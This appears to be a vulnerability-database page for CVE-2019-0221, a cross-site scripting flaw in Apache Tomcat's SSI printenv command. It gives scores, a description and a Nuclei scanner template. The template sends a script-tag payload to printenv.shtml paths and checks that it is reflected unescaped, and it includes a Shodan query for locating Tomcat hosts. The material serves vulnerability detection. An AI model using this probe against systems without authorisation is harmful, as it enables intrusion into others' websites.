Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-0221
HistoryMar 05, 2021 - 2:38 p.m.

Apache Tomcat - Cross-Site Scripting

2021-03-0514:38:39
ProjectDiscovery
github.com
13

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.5 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.009 Low

EPSS

Percentile

82.6%

Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
id: CVE-2019-0221

info:
  name: Apache Tomcat - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93 are vulnerable to cross-site scripting because the SSI printenv command echoes user provided data without escaping. Note: SSI is disabled by default. The printenv command is intended for debugging and is unlikely to be present in a production website.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the necessary patches or updates provided by Apache Tomcat to fix the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2019/May/50
    - https://wwws.nightwatchcybersecurity.com/2019/05/27/xss-in-ssi-printenv-command-apache-tomcat-cve-2019-0221/
    - https://www.exploit-db.com/exploits/50119
    - https://lists.apache.org/thread.html/6e6e9eacf7b28fd63d249711e9d3ccd4e0a83f556e324aee37be5a8c@%3Cannounce.tomcat.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2019-0221
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-0221
    cwe-id: CWE-79
    epss-score: 0.00915
    epss-percentile: 0.82479
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: tomcat
    shodan-query: title:"Apache Tomcat"
  tags: cve2019,cve,apache,xss,tomcat,seclists,edb
variables:
  payload: "<script>alert({{rand_int()}})</script>"

http:
  - method: GET
    path:
      - "{{BaseURL}}/printenv.shtml?{{url_encode(payload)}}"
      - "{{BaseURL}}/ssi/printenv.shtml?{{url_encode(payload)}}"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "QUERY_STRING_UNESCAPED={{payload}}"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220338012c936f08bbf4397c9221d081cc7cdc2ccff4bea3fe855723ec3f90e0c020221009f9036c094abfbc759d859cfccbdc9d221f992816c2ad27d461c6264bd74f09e:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.5 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.009 Low

EPSS

Percentile

82.6%